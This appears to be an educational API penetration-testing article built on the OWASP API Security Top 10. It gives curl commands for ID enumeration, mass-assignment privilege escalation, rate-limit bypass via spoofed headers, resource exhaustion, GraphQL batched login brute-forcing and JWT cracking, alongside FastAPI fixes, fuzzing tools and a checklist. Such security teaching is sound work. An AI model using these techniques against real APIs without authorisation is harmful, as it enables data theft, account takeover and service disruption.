1. OWASP API Security Top 10 (2023)
OWASP API Security Top 10:
# │ Vulnerability │ Severity
─────┼────────────────────────────────────────────┼──────────
API1│ Broken Object Level Authorization (BOLA) │ Critical
API2│ Broken Authentication │ Critical
API3│ Broken Object Property Level Authorization │ High
API4│ Unrestricted Resource Consumption │ High
API5│ Broken Function Level Authorization (BFLA) │ Critical
API6│ Unrestricted Access to Sensitive Flows │ High
API7│ Server Side Request Forgery (SSRF) │ High
API8│ Security Misconfiguration │ Medium
API9│ Improper Inventory Management │ Medium
API10│ Unsafe Consumption of APIs │ Medium
2. API1: BOLA — Broken Object Level Authorization
# BOLA Testing — Most common API vulnerability
# Step 1: Login as User A, get token
TOKEN_A=$(curl -s -X POST https://api.example.com/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Pass123!"}' \
| jq -r '.token')
# Step 2: Get User A's resources
curl -s -H "Authorization: Bearer $TOKEN_A" \
https://api.example.com/api/v1/orders/101
# Returns: User A's order #101
# Step 3: Try to access User B's resources with User A's token
curl -s -H "Authorization: Bearer $TOKEN_A" \
https://api.example.com/api/v1/orders/102
# If 200 OK with User B's data → BOLA confirmed!
# Step 4: Enumerate IDs
for id in $(seq 100 200); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
https://api.example.com/api/v1/orders/$id)
echo "Order $id: $STATUS"
done
# BOLA with UUID (harder but still testable)
# Collect UUIDs from responses, try other users' UUIDs
# ✅ BOLA Prevention
from fastapi import Depends, HTTPException
@app.get("/api/v1/orders/{order_id}")
async def get_order(
order_id: int,
current_user: User = Depends(get_current_user)
):
order = await Order.get(order_id)
if not order:
raise HTTPException(404)
# ✅ Check ownership
if order.user_id != current_user.id and not current_user.is_admin:
raise HTTPException(403, "Access denied")
return order
3. API2-API3: Authentication & Mass Assignment
# --- Broken Authentication Testing ---
# Token analysis
# Decode JWT (no verification)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Check for weak JWT secret
# hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# jwt-cracker "$TOKEN" -d /usr/share/wordlists/rockyou.txt
# Test algorithm confusion
# Change RS256 to HS256 in header, sign with public key
# Test token expiration
# Does token work after 24h? After password change?
# --- Mass Assignment / Excessive Data Exposure ---
# Step 1: Normal request
curl -X POST https://api.example.com/api/v1/users/register \
-H "Content-Type: application/json" \
-d '{"name":"Test","email":"[email protected]","password":"Pass123!"}'
# Step 2: Try adding privileged fields
curl -X POST https://api.example.com/api/v1/users/register \
-H "Content-Type: application/json" \
-d '{
"name":"Test",
"email":"[email protected]",
"password":"Pass123!",
"role":"admin",
"is_admin":true,
"credit_balance":999999
}'
# If role=admin is accepted → Mass Assignment!
# Step 3: Check response for excessive data
curl -H "Authorization: Bearer $TOKEN" \
https://api.example.com/api/v1/users/me
# Does response include: password_hash, internal_id,
# credit_card, other users' data?
# ✅ Mass Assignment Prevention
from pydantic import BaseModel
# Define explicit schemas — only allow specific fields
class UserCreate(BaseModel):
name: str
email: str
password: str
# role, is_admin NOT included → can't be set by user
class UserResponse(BaseModel):
id: int
name: str
email: str
# password_hash, internal fields NOT included
@app.post("/api/v1/users/register", response_model=UserResponse)
async def register(user_data: UserCreate):
user = User(**user_data.model_dump())
user.role = "user" # Always set server-side
await user.save()
return user
4. API4: Unrestricted Resource Consumption
# --- Rate Limiting Bypass Techniques ---
# Test basic rate limiting
for i in $(seq 1 100); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
https://api.example.com/api/v1/login \
-X POST -d '{"email":"[email protected]","password":"wrong"}')
echo "Attempt $i: $STATUS"
done
# Should see 429 after threshold
# Bypass techniques:
# 1. IP rotation (via X-Forwarded-For)
curl -H "X-Forwarded-For: 10.0.0.$((RANDOM % 255))" \
https://api.example.com/api/v1/login
# 2. Case manipulation in email
# [email protected], [email protected], [email protected]
# 3. Add spaces/special chars
# "[email protected] ", " [email protected]", "[email protected]."
# 4. Unicode normalization
# "të[email protected]" → "[email protected]"
# --- Resource exhaustion ---
# Large payload
python3 -c "import json; print(json.dumps({'data': 'A'*10000000}))" | \
curl -X POST -H "Content-Type: application/json" \
-d @- https://api.example.com/api/v1/process
# Deep nesting (JSON bomb)
# {"a":{"a":{"a":{"a":...}}}} — causes stack overflow
# GraphQL query complexity
curl -X POST https://api.example.com/graphql -d '{
"query": "{ users { orders { items { reviews { user { orders { items }}}}}}}"
}'
5. API5: BFLA — Broken Function Level Authorization
# BFLA — Testing admin endpoints with regular user token
# Regular user operations
curl -H "Authorization: Bearer $USER_TOKEN" \
https://api.example.com/api/v1/users/me
# Try admin endpoints with regular user token
curl -H "Authorization: Bearer $USER_TOKEN" \
https://api.example.com/api/v1/admin/users
curl -X DELETE -H "Authorization: Bearer $USER_TOKEN" \
https://api.example.com/api/v1/admin/users/123
curl -X PUT -H "Authorization: Bearer $USER_TOKEN" \
https://api.example.com/api/v1/users/123/role \
-d '{"role":"admin"}'
# HTTP method testing
# GET works → try PUT, DELETE, PATCH
curl -X PUT -H "Authorization: Bearer $USER_TOKEN" \
https://api.example.com/api/v1/orders/123 \
-d '{"status":"cancelled"}'
# API versioning bypass
curl -H "Authorization: Bearer $USER_TOKEN" \
https://api.example.com/api/v2/admin/users
curl -H "Authorization: Bearer $USER_TOKEN" \
https://api.example.com/internal/admin/users
6. GraphQL Security Testing
# --- GraphQL Introspection ---
curl -X POST https://api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name type { name }}}}}"}'
# Full introspection query
curl -X POST https://api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue }}}} fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }} fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue} fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name }}}}}"}'
# --- GraphQL-specific attacks ---
# Query batching (bypass rate limiting)
curl -X POST https://api.example.com/graphql \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation { login(email:\"[email protected]\",password:\"pass1\") { token }}"},
{"query":"mutation { login(email:\"[email protected]\",password:\"pass2\") { token }}"},
{"query":"mutation { login(email:\"[email protected]\",password:\"pass3\") { token }}"}
]'
# Alias-based batching
curl -X POST https://api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ a1:login(email:\"[email protected]\",password:\"pass1\"){token} a2:login(email:\"[email protected]\",password:\"pass2\"){token} a3:login(email:\"[email protected]\",password:\"pass3\"){token} }"}'
# BOLA via GraphQL
curl -X POST https://api.example.com/graphql \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ user(id: 999) { email creditCard { number cvv } }}"}'
7. Fuzzing API
# --- RESTler — Stateful API fuzzing (Microsoft) ---
# Generate grammar from OpenAPI spec
dotnet Restler.dll compile --api_spec openapi.json
# Test mode (quick validation)
dotnet Restler.dll test --grammar_file grammar.py \
--dictionary_file dict.json \
--settings engine_settings.json
# Fuzz mode (find bugs)
dotnet Restler.dll fuzz-lean --grammar_file grammar.py \
--dictionary_file dict.json \
--time_budget 1 # hours
# --- Schemathesis — OpenAPI/GraphQL fuzzing ---
pip install schemathesis
# API fuzzing from OpenAPI spec
schemathesis run https://api.example.com/openapi.json \
--checks all \
--hypothesis-max-examples 1000 \
--base-url https://api.example.com \
--header "Authorization: Bearer $TOKEN"
# GraphQL fuzzing
schemathesis run https://api.example.com/graphql \
--app-framework graphql
8. API Security Checklist
API Pentest Checklist:
Authentication:
□ JWT algorithm confusion
□ Token expiration enforced
□ Password reset flow secure
□ MFA bypass attempts
□ Session invalidation on password change
Authorization:
□ BOLA — test all endpoints with different user IDs
□ BFLA — test admin endpoints with regular user token
□ Mass assignment — add extra fields in requests
□ HTTP method tampering (GET→PUT→DELETE)
Input:
□ SQL injection in all parameters
□ NoSQL injection ($gt, $ne operators)
□ SSRF via URL parameters
□ XXE in XML-accepting endpoints
□ Command injection
Rate Limiting:
□ Login brute force protection
□ OTP/token brute force
□ API key enumeration
□ Resource exhaustion (large payloads)
GraphQL:
□ Introspection enabled in production
□ Query complexity limits
□ Batch query abuse
□ Authorization on nested resolvers
Inventory:
□ Undocumented endpoints
□ Legacy API versions still active
□ Debug/internal endpoints exposed
□ API keys in client-side code
9. Summary
- BOLA (API1): #1 API risk — always test object-level authorization
- Mass Assignment (API3): Use explicit schemas, whitelist fields
- Rate Limiting (API4): Test bypass techniques, resource exhaustion
- BFLA (API5): Test admin functions with regular user tokens
- GraphQL: Introspection, batching, nested authorization
- Fuzzing: RESTler, Schemathesis for automated API testing
The next article will explore AI-powered Pentesting 2026.